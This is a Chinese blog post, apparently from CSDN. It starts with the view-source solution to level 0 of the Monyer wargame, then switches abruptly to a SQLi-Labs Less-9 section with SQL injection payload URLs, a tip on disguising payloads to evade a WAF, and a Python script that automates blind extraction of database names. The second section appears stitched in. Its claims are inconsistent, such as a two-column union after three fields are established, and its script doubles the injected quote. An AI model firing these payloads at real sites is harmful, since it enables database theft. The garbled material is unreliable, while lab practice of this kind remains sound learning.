靶场-梦之光芒第0关

第0关:

偶然的情况下收到一个靶场,接下来我将以一个小白的姿态去感受信息安全的魅力以及,在学习路途中所碰到的一些问题,怎样解决的这些问题,我不打算把他当成一篇标准的技术博客来写,算是分享一些自己在学习上的一些记录。

靶场地址:

http://monyer.com/game/game1/

请看题:

题目描述:
欢迎来到梦之光芒的小游戏。
玩这个游戏,您需要有JS加解密基础,SQL注入基本常识等…
如果您参加本游戏,则视为您已经同意“这仅仅是个小游戏”这个原则,所以请不要在技术上过于较真,谢谢!
本游戏所有权归Monyer所有,但您每过一关,您有权利在不通知Monyer的情况下保留代码。不当的地方还请批评指教!

请点击链接进入第1关: 连接在左边→ ←连接在右边

题目提示很多的人可能这个都没有进去,这是作者跟打家开的一个小玩笑,大家可以使用的方法有:

方法图片
鼠标右键查看在这里插入图片描述
ctrl+shift+i***
修改url(此方法在禁用鼠标右键的时候也可以使用),在连接前加入(引号中的内容)“view-source:”在这里插入图片描述

寻找答案

在这里插入图片描述已得到第一关url地址

拓展知识:

  • 查看源代码的三种方法
  • 实现快速定位代码位置
### 于SQLi-Labs第九的解法与提示 SQLi-Labs第九主要涉及的是布尔盲注技术[^1]。在这一中,目标是通过构造特定的SQL语句来判断数据库中的字段数以及提取出敏感信息。以下是一些键点和提示: #### 判断字段数量 可以通过`ORDER BY`语句来确定表中的字段数量。例如,尝试访问以下URL以判断字段数: ```text http://10.40.1.22/sqli-labs-master/Less-9/?id=1' order by 3 --+ http://10.40.1.22/sqli-labs-master/Less-9/?id=1' order by 4 --+ ``` 如果页面正常显示,则说明当前`ORDER BY`值小于等于实际字段数;如果页面报错或异常,则说明当前`ORDER BY`值大于实际字段数。通过这种方式可以逐步确定字段数量为3。 #### 提取数据库信息 在确定字段数后,可以使用布尔盲注技术逐位提取数据库中的信息。例如,通过`SUBSTR`函数结合条件判断来提取数据库名称的第一个字符是否为特定值: ```text http://10.40.1.22/sqli-labs-master/Less-9/?id=1' and substr(database(),1,1)='s' -- ``` 上述语句用于判断数据库名称的第一个字符是否为`s`。如果页面正常显示,则说明条件成立;否则说明条件不成立。通过不断调整字符位置和值,可以逐步还原整个数据库名称[^2]。 #### 使用ASCII码进行逐位判断 为了更精确地提取信息,可以结合`ASCII`函数对每个字符的ASCII值进行判断。例如: ```text http://10.40.1.22/sqli-labs-master/Less-9/?id=1' and ascii(substr((select database()),1,1))>99 -- ``` 上述语句用于判断数据库名称第一个字符的ASCII值是否大于99。通过二分法或其他方式逐步缩小范围,最终可以确定每个字符的具体值[^3]。 #### 联合查询提取列名 如果需要进一步提取表中的列名,可以使用联合查询(`UNION SELECT`)技术。例如: ```text http://10.40.1.22/sqli-labs-master/Less-9/?id=-1' union select 1,column_name from information_schema.columns where table_schema=database() and table_name='users' -- ``` 上述语句将从`information_schema.columns`表中提取出`users`表的所有列名,并通过联合查询将其展示在页面上[^4]。 ### 注意事项 - 在布尔盲注过程中,需要耐心地逐位提取信息,这可能需要多次尝试。 - 如果目标系统存在防御机制(如WAF),可能需要对payload进行适当编码或变形以绕过检测。 - 确保在合法授权的情况下进行渗透测试,避免违反相法律法规。 ```python # 示例代码:自动化提取数据库名称 import requests url = "http://10.40.1.22/sqli-labs-master/Less-9/?id=1'" db_name = "" for i in range(1, 20): # 假设数据库名称长度不超过20 low, high = 0, 127 while low <= high: mid = (low + high) // 2 payload = f"' and ascii(substr(database(),{i},1))>{mid} --" response = requests.get(url + payload) if "You are in" in response.text: # 根据页面内容判断条件是否成立 low = mid + 1 else: high = mid - 1 db_name += chr(low) print(f"当前已提取到: {db_name}") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值